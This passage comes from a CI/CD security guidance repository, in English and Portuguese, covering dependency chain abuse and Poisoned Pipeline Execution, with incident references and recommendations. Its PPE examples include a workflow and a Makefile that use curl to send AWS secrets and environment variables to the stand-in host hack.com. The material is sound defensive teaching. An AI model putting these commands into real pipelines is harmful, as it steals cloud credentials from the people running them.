| 52 | 1. Thousands of credentials, stored as environment variables, were stolen by attackers through compromising Codecov, a popular code coverage tool used in the CI. 53 | 54 | [https://about.codecov.io/security-update/](https://about.codecov.io/security-update/) 55 | 56 | 2. Travis CI injected secure environment variables of public repositories into pull request builds, causing them to be susceptible to compromise by anonymous users issuing pull requests against public repositories. 57 | 58 | [https://travis-ci.community/t/security-bulletin/12081](https://travis-ci.community/t/security-bulletin/12081) 59 | 60 | 3. An attacker compromised the TeamCity Build server of Stack Overflow and was able to steal secrets due to their insecure storage method. 61 | 62 | [https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/](https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/) 63 | 64 | 4. Samsung exposed overly permissive secrets in public GitLab repositories. 65 | 66 | [https://techcrunch.com/2019/05/08/samsung-source-code-leak/](https://techcrunch.com/2019/05/08/samsung-source-code-leak/) 67 | 68 | 5. Attackers accessed Uber’s private GitHub repositories that contained permissive and shared AWS tokens, leading to data exfiltration of millions of drivers and passengers. [https://www.ftc.gov/system/files/documents/federal_register_notices/2018/04/152_3054_uber_revised_consent_analysis_pub_frn.pdf](https://www.ftc.gov/system/files/documents/federal_register_notices/2018/04/152_3054_uber_revised_consent_analysis_pub_frn.pdf) 69 | 6. Gaining write access to Homebrew, by Eric Holmes. The Homebrew Jenkins instance revealed environment variables of executed builds, including a GitHub token which allowed an attacker to make malicious changes to the Homebrew project itself. 70 | 71 | [https://medium.com/@vesirin/how-i-gained-commit-access-to-homebrew-in-30-minutes-2ae314df03ab](https://medium.com/@vesirin/how-i-gained-commit-access-to-homebrew-in-30-minutes-2ae314df03ab) 72 | -------------------------------------------------------------------------------- /CICD-SEC-03-Abuso-de-cadeia-de-dependencia-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | 5 | Os riscos de abuso da cadeia de dependência referem-se à capacidade de um invasor de abusar de falhas relacionadas a como as estações de trabalho de devenvolvedores e ambientes de build buscam dependências de código. O abuso da cadeia de dependência resulta em um pacote malicioso inadvertidamente obtido e executado localmente quando extraído. 6 | 7 | 8 | ## Descrição 9 | 10 | 11 | O gerenciamento de dependências e pacotes externos usados pelo código está se tornando cada vez mais complexo devido ao grande número de sistemas envolvidos no processo em todos os contextos de desenvolvimento em uma organização. Muitas vezes, os pacotes são obtidos usando um cliente dedicado por linguagem de programação, geralmente a partir de uma combinação de repositórios de pacotes autogerenciados (por exemplo, Jfrog Artifactory) e repositórios SaaS específicos da linguagem (por exemplo - Node.js tem o npm e o registro npm, o pip do Python usa PyPI , e as gems do Ruby usam RubyGems). 12 | 13 | Muitas organizações se esforçam ao máximo para detectar o uso de pacotes com vulnerabilidades conhecidas e realizar análises estáticas de códigos escritos por eles mesmos e de terceiros. No entanto, no contexto do uso de dependências, há um conjunto igualmente importante de controles necessários para proteger o ecossistema de dependências - envolvendo a segurança do processo que define como as dependências são obtidas. Configurações inadequadas podem fazer com que um desenvolvedor desavisado, ou pior - o sistema de compilação, baixe um pacote malicioso em vez do pacote que deveria ser baixado. Em muitos casos, o pacote não é apenas baixado, mas também executado imediatamente após o download, devido a scripts de pré-instalação e processos semelhantes que são projetados para executar o código de um pacote imediatamente após a extração do pacote. 14 | 15 | Os principais vetores de ataque neste contexto são: 16 | 17 | 18 | * Confusão de dependências - Publicação de pacotes maliciosos em repositórios públicos com o mesmo nome de pacotes internos, em uma tentativa de induzir os gerenciadores de pacotes a baixar o pacote malicioso em vez de pacote privado. 19 | * Sequestro de dependência - Obtenção do controle da conta de um mantenedor de pacote no repositório público, a fim de carregar uma nova versão maliciosa de um pacote amplamente utilizado, com a intenção de comprometer clientes desavisados que baixam a versão mais recente do pacote. 20 | * Engano por digitação incorreta (Typosquatting) - Publicação de pacotes maliciosos com nomes semelhantes aos de pacotes populares na esperança de que um desenvolvedor digite incorretamente o nome de um pacote e busque acidentalmente o pacote com erro de escrita. 21 | * Sequestro de identidade/Marca online (Brandjacking) - Publicação de pacotes maliciosos de maneira consistente com a convenção de nomenclatura ou outras características do pacote de uma marca específica, na tentativa de obter desenvolvedores desavisados buscar esses pacotes por associá-los falsamente à marca confiável. 22 | 23 | 24 | ## Impacto 25 | 26 | O objetivo dos atacantes que enviam pacotes para repositórios de pacotes públicos usando uma das técnicas mencionadas acima é executar código malicioso em um host que baixar o pacote. Isso pode ser a estação de trabalho de um desenvolvedor ou um servidor de compilação puxando o pacote. 27 | 28 | Depois que o código malicioso está em execução, ele pode ser aproveitado para roubo de credenciais e movimentação lateral dentro do ambiente em que é executado. 29 | 30 | Outro cenário potencial é o código mal-intencionado do invasor chegar aos ambientes de produção a partir do servidor de compilação. Em muitos casos, o pacote malicioso continuaria a manter também a funcionalidade original e segura que o usuário esperava, resultando em uma menor probabilidade de descoberta. 31 | 32 | 33 | ## Recomendações 34 | 35 | Há uma ampla gama de métodos de mitigação que são específicos para a configuração dos diferentes gerenciadores de pacotes de cada linguagem de programação e a maneira como os proxies internos e os repositórios de pacotes externos são usados. 36 | 37 | Dito isso, todos os controles recomendados compartilham os mesmos princípios - 38 | 39 | 40 | 41 | * Nenhum gerenciador pacotes deve ter permissão para baixar pacotes diretamente da Internet ou de fontes não confiáveis. Em vez disso, os seguintes controles devem ser implementados: 42 | * Sempre que pacotes de terceiros forem baixados de um repositório externo, certifique-se de que todos os pacotes sejam obtidos por meio de um proxy interno, e não diretamente da Internet. Isso permite a utilização de controles de segurança adicionais na camada de proxy, além de fornecer recursos investigativos em torno de pacotes baixados - no caso de um incidente de segurança. 43 | * Quando aplicável, não permita o download de pacotes diretamente de repositórios externos. Configure todos os gerenciadores de pacotes para baixar pacotes de repositórios internos, contendo pacotes pré-vetados, e estabeleça um mecanismo para verificar e aplicar essa configuração em todos os gerenciadores. 44 | * Ativar verificação de checksum e verificação de assinatura para pacotes baixados. 45 | * Evite configurar o gerenciadores de pacotes para baixar a versão mais recente do pacote (Latest). Prefira configurar uma versão pré-aprovada ou intervalos de versões. Use as técnicas específicas da estrutura para “bloquear” continuamente a versão do pacote necessária em sua organização para uma versão estável e segura. 46 | * Escopos: 47 | * Certifique-se de que todos os pacotes privados sejam registrados no escopo da organização. 48 | * Certifique-se de que todos os códigos que fazem referência a um pacote privado usem o escopo do pacote. 49 | * Certifique-se de que os clientes sejam forçados a buscar pacotes que estão sob o escopo de sua organização exclusivamente de seu repositório interno. 50 | * Quando os scripts de instalação estiverem sendo executados como parte da instalação do pacote, certifique-se de que exista um contexto separado para esses scripts, que não tenha acesso a segredos e outros recursos confidenciais disponíveis em outros estágios do processo de build. 51 | * Certifique-se de que os projetos internos sempre contenham arquivos de configuração de gerenciadores de pacotes (por exemplo .npmrc no NPM) no repositório de código do projeto, para substituir qualquer configuração insegura potencialmente existente em um cliente que busca o pacote. 52 | * Evite publicar nomes de projetos internos em repositórios públicos. 53 | * Como regra geral, dada a quantidade de gerenciadores de pacotes e configurações em uso simultaneamente, a prevenção completa do abuso da cadeia de terceiros está longe de ser trivial. Portanto, é recomendável garantir que um nível apropriado de foco seja colocado em torno da detecção, monitoramento e mitigação para garantir que, em caso de incidente, ele seja identificado o mais rápido possível e tenha o mínimo de danos potenciais. Nesse contexto, todos os sistemas relevantes devem ser protegidos adequadamente de acordo com as diretrizes sob o risco "CICD-SEC-7: Configuração Inseguras de Sistemas". 54 | 55 | 56 | ## Referências 57 | 58 | 59 | 60 | 1. Dependency Confusion, by [Alex Birsan](https://twitter.com/alxbrsn). An attack vector that tricks package managers and proxies into fetching a malicious package from a public repository instead of the intended package of the same name from an internal repository. 61 | 62 | [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) 63 | 64 | 2. Amazon, Zillow, Lyft, and Slack NodeJS apps targeted by threat actors using the Dependency Confusion vulnerability. 65 | 66 | [https://www.bleepingcomputer.com/news/security/malicious-npm-packages-target-amazon-slack-with-new-dependency-attacks/](https://www.bleepingcomputer.com/news/security/malicious-npm-packages-target-amazon-slack-with-new-dependency-attacks/) 67 | 68 | 3. The _ua-parser-js_ NPM library, with 9 million downloads a week, was hijacked to launch cryptominers and steal credentials. 69 | 70 | [https://github.com/advisories/GHSA-pjwm-rvh2-c87w](https://github.com/advisories/GHSA-pjwm-rvh2-c87w) 71 | 72 | 4. The _coa_ NPM library, with 9 million downloads a week, was hijacked to steal credentials. 73 | 74 | [https://github.com/advisories/GHSA-73qr-pfmq-6rp8](https://github.com/advisories/GHSA-73qr-pfmq-6rp8) 75 | 76 | 5. The _rc_ NPM library, with 14 million downloads a week, was hijacked to steal credentials. 77 | 78 | [https://github.com/advisories/GHSA-g2q5-5433-rhrf](https://github.com/advisories/GHSA-g2q5-5433-rhrf) 79 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-04-Poisoned-Pipeline-Execution.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-4: Poisoned Pipeline Execution (PPE)" 5 | 6 | --- 7 | ## Definition 8 | 9 | 10 | Poisoned Pipeline Execution (PPE) risks refer to the ability of an attacker with access to source control systems - and without access to the build environment, to manipulate the build process by injecting malicious code/commands into the build pipeline configuration, essentially ‘poisoning’ the pipeline and running malicious code as part of the build process. 11 | 12 | 13 | ## Description 14 | 15 | The PPE vector abuses permissions against an SCM repository, in a way that causes a CI pipeline to execute malicious commands. 16 | 17 | Users that have permissions to manipulate the CI configuration files, or other files which the CI pipeline job relies on, can modify them to contain malicious commands, ultimately “poisoning” the CI pipeline executing these commands. 18 | 19 | Pipelines executing unreviewed code, for example those which are triggered directly off of pull requests or commits to arbitrary repository branches, are more susceptible to PPE. The reason is that these scenarios, by design, contain code which has not undergone any reviews or approvals. 20 | 21 | Once able to execute malicious code within the CI pipeline, the attacker can conduct a wide array of malicious operations, all within the context of the pipeline’s identity. 22 | 23 | There are three types of PPE: 24 | 25 | **Direct PPE (D-PPE):** In a D-PPE scenario, the attacker modifies the CI config file in a repository they have access to, either by pushing the change directly to an unprotected remote branch on the repo, or by submitting a PR with the change from a branch or a fork. Since the CI pipeline execution is triggered off of the “push” or ”PR” events, and the pipeline execution is defined by the commands in the modified CI configuration file, the attacker’s malicious commands ultimately run in the build node once the build pipeline is triggered. 26 | 27 | **Indirect PPE (I-PPE):** In certain cases, the possibility of D-PPE is not available to an adversary with access to an SCM repository: 28 | 29 | 30 | 31 | * If the pipeline is configured to pull the CI configuration file from a separate, protected branch in the same repository. 32 | * If the CI configuration file is stored in a separate repository from the source code, without the option for a user to directly edit it. 33 | * If the CI build is defined in the CI system itself - instead of in a file stored in the source code. 34 | 35 | In such a scenario, the attacker can still poison the pipeline by injecting malicious code into files referenced by the pipeline configuration file, for example: 36 | 37 | 38 | 39 | * _make_: Executes commands defined in the “Makefile” file. 40 | * Scripts referenced from within the pipeline configuration file, which are stored in the same repository as the source code itself (e.g. _python myscript.py_ - where myscript.py would be manipulated by the attacker). 41 | * Code tests: Testing frameworks running on application code within the build process rely on dedicated files, stored in the same repository as the source code itself. Attackers that are able to manipulate the code responsible for testing are then able to run malicious commands inside the build. 42 | * Automatic tools: Linters and security scanners used in the CI, are also commonly reliant on a configuration file residing in the repository. Many times these configurations involve loading and running external code from a location defined inside the configuration file. 43 | 44 | So rather than poisoning the pipeline by inserting malicious commands directly into the pipeline definition file, In I-PPE, an attacker injects malicious code into files referenced by the configuration file. The malicious code is ultimately executed on the pipeline node once the pipeline is triggered and runs the commands declared in the files in question. 45 | 46 | **Public-PPE (3PE):** Execution of a PPE attack requires access to the repository hosting the pipeline configuration file, or to files it references. In most cases, the permission to do so would be given to organization members - mainly engineers. Therefore, attackers would typically have to be in possession of an engineer's permission to the repository to execute a direct or indirect PPE attack. 47 | 48 | However, in some cases poisoning CI pipelines is available to anonymous attackers on the internet: Public repositories (for example open source projects) oftentimes allow any user to contribute - usually by creating pull requests, suggesting changes to the code. These projects are commonly automatically tested and built using a CI solution, in a similar fashion to private projects. 49 | 50 | If the CI pipeline of a public repository runs unreviewed code suggested by anonymous users, it is susceptible to a Public PPE attack, or in short - 3PE. This also exposes internal assets, such as secrets of private projects, in cases where the pipeline of the vulnerable public repository runs on the same CI instance as private ones. 51 | 52 | 53 | 54 | **Examples** 55 | 56 | Example 1: Credential theft via Direct-PPE (GitHub Actions) 57 | 58 | In the following example, a GitHub repository is connected with a GitHub Actions workflow that fetches the code, builds it, runs tests, and eventually deploys artifacts to AWS. 59 | 60 | When new code is pushed to a remote branch in the repository, the code - including the pipeline configuration file - is fetched by the runner (the workflow node). 61 | 62 | 63 | ```YAML 64 | name: PIPELINE 65 | on: push 66 | jobs: 67 | build: 68 | runs-on: ubuntu-latest 69 | steps: 70 | - run: | 71 | echo "building..." 72 | echo "testing..." 73 | echo "deploying..." 74 | ``` 75 | 76 | ![alt_text](assets/images/dppe.jpg) 77 | 78 | 79 | In this scenario, a D-PPE attack would be carried out as follows: 80 | 81 | 82 | 83 | 1. An attacker creates a new remote branch in the repository, in which they update the pipeline configuration file with malicious commands intended to access AWS credentials scoped to the GitHub organization and then to send them to a remote server. 84 | 85 | ```YAML 86 | name: PIPELINE 87 | on: push 88 | jobs: 89 | build: 90 | runs-on: ubuntu-latest 91 | steps: 92 | - env: 93 | ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }} 94 | SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} 95 | 96 | run: | 97 | curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com 98 | 99 | ``` 100 | 101 | 102 | 103 | 2. Once the update is pushed, this triggers a pipeline which fetches the code from the repository, including the malicious pipeline configuration file. 104 | 3. The pipeline runs based on the configuration file “poisoned” by the attacker. As per the attacker’s malicious commands, AWS credentials stored as repository secrets are loaded into memory. 105 | 4. The pipeline proceeds to execute the attacker’s commands which send the AWS credentials to a server controlled by the attacker. 106 | 5. The attacker is then able to use the stolen credentials to access the AWS production environment. 107 | 108 | Example 2: Credential theft via Indirect-PPE (Jenkins) 109 | 110 | This time, it is a Jenkins pipeline that fetches code from the repository, builds it, runs tests, and eventually deploys to AWS. In this scenario the pipeline configuration is such that the file describing the pipeline - the Jenkinsfile - is always fetched from the main branch in the repository, which is protected. Therefore, the attacker cannot manipulate the build definition, meaning that fetching secrets stored on the Jenkins credential store, or running the job on other nodes are not a possibility. 111 | 112 | However - this does not mean that the pipeline is risk free; 113 | 114 | In the _build_ stage of the pipeline, AWS credentials are loaded as environment variables, making them available only to the commands running in this stage. In the example below, the _make_ command, which is based on the contents of Makefile (also stored in the repository), runs as part of this stage. 115 | 116 | The Jenkinsfile: 117 | 118 | 119 | ```GROOVY 120 | pipeline { 121 | agent any 122 | stages { 123 | stage('build') { 124 | steps { 125 | withAWS(credentials: 'AWS_key', region: 'us-east-1') { 126 | sh 'make build' 127 | sh 'make clean' 128 | } 129 | } 130 | } 131 | stage('test') { 132 | steps { 133 | sh 'go test -v ./...' 134 | ... 135 | ``` 136 | 137 | 138 | The Makefile: 139 | 140 | 141 | ```MAKEFILE 142 | build: 143 | echo "building…" 144 | 145 | clean: 146 | echo "cleaning…" 147 | ``` 148 | 149 | ![alt_text](assets/images/ippe.jpg) 150 | 151 | In this scenario, an I-PPE attack would be carried out as follows: 152 | 153 | 154 | 155 | 1. An attacker creates a pull request in the repository, appending malicious commands to the _Makefile_ file. 156 | 157 | 158 | ```MAKEFILE 159 | build: 160 | curl -d "$$(env)" hack.com 161 | 162 | clean: 163 | echo "cleaning…" 164 | 165 | ``` 166 | 167 | 168 | 169 | 2. Since the pipeline is configured to be triggered upon any PR against the repo, the Jenkins pipeline is triggered, fetching the code from the repository, including the malicious _Makefile_. 170 | 3. The pipeline runs based on the configuration file stored in the main branch. It gets to the _build_ stage, and loads the AWS credentials into environment variables - as defined in the original Jenkinsfile. Then, it runs the _make build_ command, which executes the malicious command that was added into _Makefile_. 171 | 4. The malicious _build_ function defined in the Makefile is executed, sending the AWS credentials to a server controlled by the attacker. 172 | 5. The attacker is then able to use the stolen credentials to access the AWS production environment. 173 | 174 | 175 | ## Impact 176 | 177 | In a successful PPE attack, attackers execute malicious unreviewed code in the CI. This provides the attacker with the same abilities and level of access as the build job, including: 178 | 179 | 180 | 181 | * Access to any secret available to the CI job, such as secrets injected as environment variables or additional secrets stored in the CI. Being responsible for building code and deploying artifacts, CI/CD systems typically contain dozens of high-value credentials and tokens - such as to a cloud provider, to artifact registries, and to the SCM itself. 182 | * Access to external assets the job node has permissions to, such as files stored in the node’s file system, or credentials to a cloud environment accessible through the underlying host. 183 | * Ability to ship code and artifacts further down the pipeline, in the guise of legitimate code built by the build process. 184 | * Ability to access additional hosts and assets in the network/environment of the job node. 185 | 186 | ## Recommendations 187 | 188 | Preventing and mitigating the PPE attack vector involves multiple measures spanning across both SCM and CI systems: 189 | 190 | 191 | 192 | * Ensure that pipelines running unreviewed code are executed on isolated nodes, not exposed to secrets and sensitive environments. 193 | * Evaluate the need for triggering pipelines on public repositories from external contributors. Where possible, refrain from running pipelines originating from forks, and consider adding controls such as requiring manual approval for pipeline execution. 194 | * For sensitive pipelines, for example those that are exposed to secrets, ensure that each branch that is configured to trigger a pipeline in the CI system has a correlating branch protection rule in the SCM. 195 | * To prevent the manipulation of the CI configuration file to run malicious code in the pipeline, each CI configuration file must be reviewed before the pipeline runs. Alternatively, the CI configuration file can be managed in a remote branch, separate from the branch containing the code being built in the pipeline. The remote branch should be configured as protected. 196 | * Remove permissions granted on the SCM repository from users that do not need them. 197 | * Each pipeline should only have access to the credentials it needs to fulfill its purpose. The credentials should have the minimum required privileges. 198 | 199 | 200 | ## References 201 | 202 | 203 | 204 | 1. Exploiting Continuous Integration and Automated Build systems, DEF CON 25, by Tyler Welton. The talk covered exploitation techniques of the Direct-PPE and 3PE attack vectors, targeting pipelines running unreviewed code. 205 | 206 | [https://www.youtube.com/watch?v=mpUDqo7tIk8](https://www.youtube.com/watch?v=mpUDqo7tIk8) 207 | 208 | 2. PPE - Poisoned Pipeline Execution. Running malicious code in your CI, without access to your CI. By [Daniel Krivelevich](https://twitter.com/Dkrivelev) and [Omer Gil](https://twitter.com/omer_gil). 209 | 210 | [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/) 211 | 212 | 3. Build Pipeline Security, by [xssfox](https://twitter.com/xssfox). An Indirect-PPE vulnerability was exposed in the CodeBuild pipeline of a website belonging to AWS. This allowed anonymous attackers to modify a script executed by the build configuration file with the creation of a pull request, resulting in the compromise of deployment credentials. 213 | 214 | [https://sprocketfox.io/xssfox/2021/02/18/pipeline/](https://sprocketfox.io/xssfox/2021/02/18/pipeline/) 215 | 216 | 4. GitHub Actions abused to mine cryptocurrency by pull requests that contained malicious code. 217 | 218 | [https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc](https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc) 219 | 220 | 5. A terraform provider for execution of OS commands during run of _terraform plan_ in the pipeline, by [Hiroki Suezawa](https://twitter.com/rung). 221 | 222 | [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) 223 | 224 | 6. Abusing the _terraform plan_ command for execution of OS commands in the CI/CD, by [Alex Kaskasoli](https://twitter.com/alxk7i). 225 | 226 | [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) 227 | 228 | 7. A vulnerability found in Teleport’s CI implementation, that allowed attackers from the internet to execute a Direct-3PE attack by creating a pull request in a public GitHub repository linked with a Drone CI pipeline, and modifying the CI configuration file to execute a malicious pipeline. 229 | 230 | [https://goteleport.com/blog/hack-via-pull-request/](https://goteleport.com/blog/hack-via-pull-request/) 231 | 232 | 8. Research by Asier Rivera Fernandez showed how a PPE attack against a CI/CD environment including CodePipeline, CodeBuild and CodeDeploy services in AWS could be executed. 233 | 234 | [https://www.youtube.com/watch?v=McZBcMRxPTA](https://www.youtube.com/watch?v=McZBcMRxPTA) 235 | [https://www.pwc.be/en/FY21/documents/AWS%20CI_CD%20technical%20article%20-%20v3.pdf](https://www.pwc.be/en/FY21/documents/AWS%20CI_CD%20technical%20article%20-%20v3.pdf) 236 | -------------------------------------------------------------------------------- /CICD-SEC-04-Poisoned-Pipeline-Execution-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | 5 | Os riscos de Poisoned Pipeline Execution (PPE) referem-se à capacidade de um invasor com acesso a sistemas de controle de origem - e sem acesso ao ambiente de build, manipular o processo de build injetando códigos/comandos maliciosos na configuração do pipeline, essencialmente 'envenenando-o' e executando código malicioso como parte do processo de compilação. 6 | 7 | 8 | ## Descrição 9 | 10 | O vetor PPE abusa das permissões contra um repositório SCM, de maneira que faz com que um pipeline de CI execute comandos maliciosos. 11 | 12 | Os usuários que têm permissões para manipular os arquivos de configuração do CI ou outros arquivos dos quais o trabalho do pipeline depende, podem modificá-los para conter comandos maliciosos, "envenenando" o pipeline de CI que executa esses comandos. 13 | 14 | Os pipelines que executam código não revisado, por exemplo, aqueles que são acionados diretamente por pull requests ou commits nos branches, são mais suscetíveis a PPE. O motivo é que esses cenários, por design, contêm código que não passou por nenhuma revisão ou aprovação. 15 | 16 | Uma vez capaz de executar código malicioso dentro do pipeline de CI, o invasor pode realizar uma ampla variedade de operações maliciosas, tudo dentro do contexto da identidade do pipeline. 17 | 18 | Existem três tipos de PPEs: 19 | 20 | **Direct PPE (D-PPE):** em um cenário D-PPE, o invasor modifica o arquivo de configuração do CI em um repositório ao qual ele tem acesso, seja enviando a alteração diretamente para um branch desprotegido no repositório ou enviando um PR com a alteração para um branch ou fork. Como a execução do pipeline de CI é acionada pelos eventos "push" ou "PR", e a execução é definida pelos comandos no arquivo de configuração de CI modificado, os comandos maliciosos do invasor são executados no build node assim que o pipeline é disparado. 21 | 22 | **Indirect PPE (I-PPE):** Em certos casos, a possibilidade de D-PPE não está disponível para um adversário com acesso a um repositório SCM: 23 | 24 | 25 | * Se o pipeline estiver configurado para fazer pull do arquivo de configuração do CI de um branch separado e protegido no mesmo repositório. 26 | * Se o arquivo de configuração do CI estiver armazenado em um repositório separado do código-fonte, sem a opção de um usuário editá-lo diretamente. 27 | * Se a compilação do CI for definida no próprio sistema de CI - em vez de em um arquivo armazenado no código-fonte. 28 | 29 | Nesse cenário, o invasor ainda pode envenenar o pipeline injetando código malicioso em arquivos referenciados pelo arquivo de configuração do pipeline, por exemplo: 30 | 31 | 32 | * _make_: Executa comandos definidos no arquivo “Makefile”. 33 | * Scripts referenciados no arquivo de configuração do pipeline, que são armazenados no mesmo repositório que o próprio código-fonte (por exemplo, _python myscript.py_ - onde myscript.py seria manipulado pelo invasor). 34 | * Testes de código: Os frameworks de teste executados no código do aplicativo dentro do processo de construção dependem de arquivos dedicados, armazenados no mesmo repositório que o próprio código-fonte. Os invasores que são capazes de manipular o código responsável pelo teste podem executar comandos maliciosos dentro do build. 35 | * Ferramentas automáticas: Linters e scanners de segurança usados no CI também são comumente dependentes de um arquivo de configuração residente no repositório. Muitas vezes essas configurações envolvem carregar e executar código externo de um local definido dentro do arquivo de configuração. 36 | 37 | Portanto, em vez de envenenar o pipeline inserindo comandos maliciosos diretamente no arquivo de definição do pipeline, no I-PPE, um invasor injeta código malicioso nos arquivos referenciados pelo arquivo de configuração. O código malicioso é finalmente executado no nó do pipeline assim que o pipeline é acionado e executa os comandos declarados nos arquivos em questão. 38 | 39 | **Public-PPE (3PE):** A execução de um ataque PPE requer acesso ao repositório que hospeda o arquivo de configuração do pipeline ou aos arquivos aos quais ele faz referência. Na maioria dos casos, a permissão para fazê-lo seria dada aos membros da organização - principalmente desenvolvedores. Portanto, os invasores normalmente precisam ter a permissão de um desenvolvedor no repositório para executar um ataque PPE direto ou indireto. 40 | 41 | No entanto, em alguns casos, o envenenamento de pipelines de CI está disponível para invasores anônimos na Internet: repositórios públicos (por exemplo, projetos de código aberto) muitas vezes permitem que qualquer usuário contribua - geralmente criando pull requests, sugerindo alterações no código. Esses projetos geralmente são testados e construídos automaticamente usando uma solução de CI, de maneira semelhante aos projetos privados. 42 | 43 | Se o pipeline de CI de um repositório público executar código não revisado sugerido por usuários anônimos, ele estará suscetível a um ataque de PPE público ou, resumidamente, 3PE. Isso também expõe ativos internos, como segredos de projetos privados, nos casos em que o pipeline do repositório público vulnerável é executado na mesma instância de CI que os privados. 44 | 45 | 46 | **Exemplos** 47 | 48 | Exemplo 1: Roubo de Credencial via Direct-PPE (GitHub Actions) 49 | 50 | No exemplo a seguir, um repositório GitHub está conectado a um fluxo de trabalho do GitHub Actions que busca o código, o cria, executa testes e, por fim, implanta artefatos na AWS. 51 | 52 | Quando um novo código é enviado para um branch do repositório, o código - incluindo o arquivo de configuração do pipeline - é obtido pelo executor (o nó do fluxo de trabalho). 53 | 54 | ```YAML 55 | name: PIPELINE 56 | on: push 57 | jobs: 58 | build: 59 | runs-on: ubuntu-latest 60 | steps: 61 | - run: | 62 | echo "building..." 63 | echo "testing..." 64 | echo "deploying..." 65 | ``` 66 | 67 | ![alt_text](assets/images/dppe.jpg) 68 | 69 | 70 | Nesse cenário, o ataque de D-PPE attack seria feito da seguinta forma: 71 | 72 | 73 | 74 | 1. Um invasor cria um novo Branch do repositório, na qual atualiza o arquivo de configuração do pipeline com comandos maliciosos destinados a acessar as credenciais da AWS com escopo para a organização GitHub e, em seguida, enviá-las para um servidor remoto. 75 | 76 | ```YAML 77 | name: PIPELINE 78 | on: push 79 | jobs: 80 | build: 81 | runs-on: ubuntu-latest 82 | steps: 83 | - env: 84 | ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }} 85 | SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} 86 | 87 | run: | 88 | curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com 89 | 90 | ``` 91 | 92 | 93 | 94 | 2. Depois que a atualização é enviada, isso aciona um pipeline que busca o código do repositório, incluindo o arquivo de configuração do pipeline malicioso. 95 | 3. O pipeline é executado com base no arquivo de configuração “envenenado” pelo invasor. De acordo com os comandos maliciosos do invasor, as credenciais da AWS armazenadas como segredos do repositório são carregadas na memória. 96 | 4. O pipeline executa os comandos do invasor que enviam as credenciais da AWS para um servidor controlado pelo invasor. 97 | 5. O invasor pode usar as credenciais roubadas para acessar o ambiente de produção da AWS. 98 | 99 | Example 2: Roubo de credencial via Indirect-PPE (Jenkins) 100 | 101 | Desta vez, é um pipeline do Jenkins que busca o código do repositório, o constrói, executa testes e, por fim, implanta na AWS. Neste cenário, a configuração do pipeline é tal que o arquivo que descreve o pipeline - o Jenkinsfile - é sempre obtido da branch principal do repositório, que é protegido. Portanto, o invasor não pode manipular a definição de build, o que significa que buscar segredos armazenados no armazenamento de credenciais do Jenkins ou executar o trabalho em outros nós não é uma possibilidade. 102 | 103 | No entanto - isso não significa que o pipeline esteja livre de riscos; 104 | 105 | No estágio _build_ do pipeline, as credenciais da AWS são carregadas como variáveis de ambiente, tornando-as disponíveis apenas para os comandos executados neste estágio. No exemplo abaixo, o comando _make_, que é baseado no conteúdo do Makefile (também armazenado no repositório), é executado como parte deste estágio. 106 | 107 | O arquivo Jenkins: 108 | 109 | ```GROOVY 110 | pipeline { 111 | agent any 112 | stages { 113 | stage('build') { 114 | steps { 115 | withAWS(credentials: 'AWS_key', region: 'us-east-1') { 116 | sh 'make build' 117 | sh 'make clean' 118 | } 119 | } 120 | } 121 | stage('test') { 122 | steps { 123 | sh 'go test -v ./...' 124 | ... 125 | ``` 126 | 127 | 128 | O Makefile: 129 | 130 | 131 | ```MAKEFILE 132 | build: 133 | echo "building…" 134 | 135 | clean: 136 | echo "cleaning…" 137 | ``` 138 | 139 | ![alt_text](assets/images/ippe.jpg) 140 | 141 | Nesse cenário, o ataque de I-PPE seria executado da seguinte forma: 142 | 143 | 144 | 145 | 1. O atacante cria pull requests no repositório, anexando comandos maliciosos ao arquivo _Makefile_ . 146 | 147 | 148 | ```MAKEFILE 149 | build: 150 | curl -d "$$(env)" hack.com 151 | 152 | clean: 153 | echo "cleaning…" 154 | 155 | ``` 156 | 157 | 158 | 159 | 2. Como o pipeline está configurado para ser acionado em qualquer PR no repositório, o pipeline Jenkins é acionado, buscando o código do repositório, incluindo o _Makefile_ malicioso. 160 | 3. O pipeline é executado com base no arquivo de configuração armazenado na branch principal. Ele chega ao estágio _build_ e carrega as credenciais da AWS nas variáveis de ambiente - conforme definido no Jenkinsfile original. Em seguida, ele executa o comando _make build_, que executa o comando malicioso que foi adicionado ao _Makefile_. 161 | 4. A função maliciosa _build_ definida no Makefile é executada, enviando as credenciais da AWS para um servidor controlado pelo invasor. 162 | 5. O invasor pode usar as credenciais roubadas para acessar o ambiente de produção da AWS. 163 | 164 | 165 | ## Impacto 166 | 167 | Em um ataque de PPE bem-sucedido, os invasores executam código malicioso não revisado no CI. Isso fornece ao invasor as mesmas habilidades e nível de acesso do processo de Build, incluindo: 168 | 169 | 170 | 171 | * Acesso a qualquer segredo disponível para o job do CI, como segredos injetados como variáveis de ambiente ou segredos adicionais armazenados no CI. Sendo responsáveis por criar código e implantar artefatos, os sistemas CI/CD geralmente contêm dezenas de credenciais e tokens de alto valor - como para um provedor de nuvem, para registros de artefatos e para o próprio SCM. 172 | * Acesso a ativos externos para os quais o nó de trabalho tem permissões, como arquivos armazenados no sistema de arquivos do nó ou credenciais para um ambiente de nuvem acessível por meio do host subjacente. 173 | * Capacidade de enviar código e artefatos mais adiante no pipeline, disfarçado de código legítimo criado pelo processo de build. 174 | * 